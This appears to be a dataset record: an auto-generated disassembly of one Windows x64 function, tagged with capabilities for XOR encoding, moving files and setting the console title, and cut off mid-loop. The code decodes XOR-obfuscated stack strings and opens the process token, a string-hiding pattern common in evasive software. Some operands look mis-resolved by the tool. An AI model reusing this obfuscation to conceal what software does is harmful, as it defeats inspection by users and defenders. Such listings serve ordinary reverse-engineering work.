Function at 0x140026500
Capabilities:
Encode data using xor
Move file
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x8a8]
sub rsp, 0x980
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400b7c40]
xor rax, rsp
mov qword [rbp + 0x840], rax
xor esi, esi
mov dword [rsp + 0x64], esi
lea rcx, [rbp + 0x70]
call fcn.140023ca0
cmp qword [rax + 0x18], 0x10
jb 0x14002655d
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1400265a4
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002659f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b30d
call fcn.140062a94
mov r8d, 0x104
lea rdx, [rbp + 0x730]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0x98]
call fcn.140023ca0
nop
lea rdx, str..exe
mov rcx, rax
call fcn.140008b80
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rdx, qword [rbp - 0x48]
lea rcx, [rbp + 0x730]
call fcn.14003262c
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140026648
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026643
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b313
call fcn.140062a94
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140026699
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026694
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b319
call fcn.140062a94
lea rcx, [rbp + 0x558]
call fcn.140004d10
nop
mov qword [rbp + 0x5b8], rsi
mov qword [rbp + 0x5c8], rsi
mov qword [rbp + 0x5d0], send
mov byte [rbp + 0x5b8], 0
mov eax, dword [0x1400a5064]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400a5068]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], 0x4b
xor byte [rsp + 0x39], 0x3a
xor byte [rsp + 0x3a], 0x3b
xor byte [rsp + 0x3b], 0x3c
xor byte [rsp + 0x3c], 0x3d
xor byte [rsp + 0x3d], 0x3e
lea rdx, [rsp + 0x38]
lea rcx, [0x140106ea0]
call fcn.140014590
lea rdx, [rbp + 0x5b8]
lea rcx, [0x140107460]
call fcn.14002c650
lea rax, [rbp + 0x110]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x538], xmm0
movups xmmword [rbp + 0x548], xmm0
lea rbx, vtable.ATL::CAccessToken.0
mov qword [rbp + 0x538], rbx
movdqu xmmword [rbp + 0x540], xmm0
mov qword [rbp + 0x550], rsi
xor eax, eax
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6d0], xmm0
movups xmmword [rbp + 0x6e0], xmm0
movups xmmword [rbp + 0x6f0], xmm0
movups xmmword [rbp + 0x700], xmm0
movups xmmword [rbp + 0x710], xmm0
mov qword [rbp + 0x720], rax
lea rcx, [rbp + 0x6b0]
call fcn.140022570
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x4d0]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140026872
lea rcx, [rbp + 0x538]
mov rax, qword [rbp + 0x538]
call qword [rax + htons]
mov rax, qword [rbp + 0x4d0]
mov qword [rbp + 0x540], rax
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x538]
call fcn.14002c2b0
test al, al
je 0x140026872
lea rcx, [rbp + 0x6b0]
call fcn.140022710
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14002b780
nop
mov rdx, qword [rax]
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], send
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140026840
lea rcx, [rbp + 0x110]
call fcn.140003990
nop
lea rax, [rbp + 0x278]
mov rcx, qword [rbp + 0x270]
cmp rcx, rax
je 0x140026870
call fcn.14002dfe4
nop
jmp 0x140026892
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], send
mov r14, 0xffffffffffffffff
lea rax, vtable.ATL::CSid.0
mov rdx, qword [rbp + 0x720]
mov qword [rbp + 0x6b0], rax
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400268c1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x718]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400268e2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x710]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140026903
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x708]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140026925
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rdx, qword [rbp + 0x548]
test rdx, rdx
mov rcx, qword [rbp + 0x540]
mov qword [rbp + 0x538], rbx
je 0x140026958
test rcx, rcx
je 0x140026951
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rbp + 0x540]
mov qword [rbp + 0x548], rsi
test rcx, rcx
je 0x14002696a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x540], rsi
mov edx, 8
mov rcx, qword [rbp + 0x550]
call fcn.140062a94
mov qword [rbp + 0x550], rsi
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp + 0x250]
call fcn.140008df0
nop
lea r9, [rbp + 0x110]
mov r8, rax
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x558]
call fcn.140005840
mov ecx, dword [rbp - 0x6c]
test ecx, ecx
je 0x14002af25
sub ecx, 1
je 0x14002ad65
sub ecx, 1
je 0x14002aba5
sub ecx, 2
je 0x14002a9e0
cmp ecx, 1
jne 0x14002b31f
movups xmm0, xmmword [str.zHXXPK__.0d3______o]
movups xmmword [rbp + 0x218], xmm0
movups xmm1, xmmword [0x1400a4cf8]
movups xmmword [rbp + 0x228], xmm1
movups xmm0, xmmword [0x1400a4d08]
movups xmmword [rbp + 0x238], xmm0
movzx eax, byte [0x1400a4d18]
mov byte [rbp + 0x248], al
mov r8d, esi
lea r12d, [rcx + 4]
lea r13d, [rcx + 0x1e]
mov edi, dword [reloc.d2d1.dll_Ordinal_1]
cmp edi, 2
jl 0x140026b7f
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x21c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140026a70
cmp r8d, 0x31
jge 0x140026bc3
movsxd rax, r8d
lea r9, [rbp + 0x218]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140026b90
lea rdx, [rbp + 0x218]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x558]
call fcn.140006120
nop
cmp byte [rbp + 0x640], 0
je 0x140026db5
lea rdx, [rbp + 0x150]
call fcn.14002b500
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x14002b0eb
cmp edi, 2
jl 0x140026d6e
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140026c60
cmp esi, 0x26
jge 0x14002b0eb
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, sil
sub al, dl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jge 0x14002b0eb
jmp 0x140026d80
mov eax, dword [str.IX_M__]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400a50b4]
mov word [rsp + 0x3c], ax
movzx eax, byte [0x1400a50b6]
mov byte [rsp + 0x38], 0x45
xor byte [rsp + 0x39], 0x3a
xor byte [rsp + 0x3a], 0x3b
xor byte [rsp + 0x3b], 0x3c
xor byte [rsp + 0x3c], 0x3d
xor byte [rsp + 0x3d], 0x3e
xor al, 0x3f
mov byte [rsp + 0x3e], al
lea rcx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
cmovae rcx, qword [rbp + 0x690]
lea rdx, [rsp + 0x38]
call fcn.1400649ac
test rax, rax
setne byte [rsp + 0x48]
movsd xmm0, qword [0x1400a5058]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [0x1400a5060]
mov byte [rsp + 0x70], 0x46
xor byte [rsp + 0x71], 0x3a
xor byte [rsp + 0x72], 0x3b
xor byte [rsp + 0x73], 0x3c
xor byte [rsp + 0x74], 0x3d
xor byte [rsp + 0x75], 0x3e
xor byte [rsp + 0x76], 0x3f
xor byte [rsp + 0x77], 0x40
xor al, 0x41
mov byte [rsp + 0x78], al
lea rcx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
cmovae rcx, qword [rbp + 0x690]
lea rdx, [rsp + 0x70]
call fcn.1400649ac
movsd xmm0, qword [str.o_WSO_Q4A]
movsd qword [rbp - 0x80], xmm0
movzx eax, byte [0x1400a4c80]
mov byte [rbp - 0x80], 0x56
xor byte [rbp - 0x7f], 0x3a
xor byte [rbp - 0x7e], 0x3b
xor byte [rbp - 0x7d], 0x3c
xor byte [rbp - 0x7c], 0x3d
xor byte [rbp - 0x7b], 0x3e
xor byte [rbp - 0x7a], 0x3f
xor byte [rbp - 0x79], 0x40
xor al, 0x41
mov byte [rbp - 0x78], al
lea rcx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
cmovae rcx, qword [rbp + 0x690]
lea rdx, [rbp - 0x80]
call fcn.1400649ac
test rax, rax
setne byte [rsp + 0x49]
movsd xmm0, qword [str.jOKYO]
movsd qword [rbp - 0x28], xmm0
mov eax, dword [0x1400a51f0]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x1400a51f4]
mov byte [rbp - 0x1c], al
mov r8d, esi
cmp edi, 2
jl 0x140027021
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400a54f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.jOKYO]
pxor xmm2, xmm1
movd dword [rbp - 0x28], xmm2
movdqa xmm3, xmmword [0x1400a5500]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x24]
pxor xmm2, xmm1
movd dword [rbp - 0x24], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140027030
lea rcx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
setae r11b
mov r10, qword [rbp + 0x690]
cmovae rcx, r10
lea r8, [rbp - 0x28]
sub r8, rcx
nop dword [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x1400270a3
inc rcx
test eax, eax
jne 0x140027090
test edx, edx
sete byte [rsp + 0x60]
movsd xmm0, qword [str._OHQ_Y__.]
movsd qword [rbp - 0x58], xmm0
mov eax, dword [0x1400a4e98]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x1400a4e9c]
mov byte [rbp - 0x4c], al
mov r8d, esi
cmp edi, 2
jl 0x1400271e7
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400a54f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str._OHQ_Y__.]
pxor xmm2, xmm1
movd dword [rbp - 0x58], xmm2
movdqa xmm3, xmmword [0x1400a5500]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x54]
pxor xmm2, xmm1
movd dword [rbp - 0x54], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140027200
lea rax, [rbp + 0x690]
test r11b, r11b
cmovne rax, r10
lea rdx, [rbp - 0x58]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x14002725d
inc rax
test cl, cl
jne 0x140027248
mov dword [rsp + 0x38], esi
jmp 0x140027266
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x38], ecx
mov eax, dword [str._Bf]
mov dword [rsp + 0x64], eax
movzx eax, byte [0x1400a4bdc]
mov byte [rsp + 0x64], 0x44
xor byte [rsp + 0x65], 0x3a
xor byte [rsp + 0x66], 0x3b
xor byte [rsp + 0x67], 0x3c
xor al, 0x3d
mov byte [rsp + 0x68], al
lea rax, [rbp + 0x690]
test r11b, r11b
cmovne rax, r10
lea rdx, [rsp + 0x64]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x1400272bc
inc rax
test cl, cl
jne 0x1400272a7
mov dword [rsp + 0x64], esi
jmp 0x1400272c5
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x64], ecx
mov byte [rbp + 0x4d8], 0
mov rax, qword [str.jJTS__M_IX_M_]
mov qword [rbp - 0x70], rax
cmp byte [0x1400a4be7], 0
je 0x140027429
mov r8d, esi
cmp edi, 2
jl 0x1400273fa
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400a54f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x70]
pxor xmm2, xmm1
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x1400a5500]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
pxor xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
jmp 0x140027429
lea r9, [rbp - 0x70]
nop
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140027400
lea rcx, [rbp + 0x690]
test r11b, r11b
cmovne rcx, r10
lea rdx, [rbp - 0x70]
call fcn.1400649ac
xorps xmm0, xmm0
test rax, rax
je 0x14002805c
xor eax, eax
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], rax
movsd xmm0, qword [str.zR_I]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x1400a4d28]
mov dword [rbp - 0x60], eax
movzx eax, byte [0x1400a4d2c]
mov byte [rbp - 0x5c], al
mov r8d, esi
cmp edi, 2
jl 0x140027599
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400a54f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.zR_I]
pxor xmm2, xmm1
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x1400a5500]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
pxor xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400275b0
mov qword [rbp - 0x18], rsi
mov qword [rbp - 8], rsi
mov qword [rbp], send
lea rax, [rbp - 0x68]
nop word [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140027600
mov r8, r14
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x18]
call fcn.140003990
lea r8, [rbp - 0x18]
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x558]
call fcn.140007430
nop
mov r8b, 1
mov rdx, qword [rbp + 0x5a0]
lea rcx, [rbp + 0x4d8]
call fcn.14000f020
test al, al
jne 0x14002797c
movups xmm0, xmmword [0x1400a4d90]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x1400a4da0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x1400a4db0]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [0x1400a4dc0]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [0x1400a4dd0]
movups xmmword [rbp + 0x100], xmm0
mov r8d, esi
cmp edi, 2
jl 0x1400277e9
movdqa xmm5, xmmword [0x1400a54f0]
mov edx, esi
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
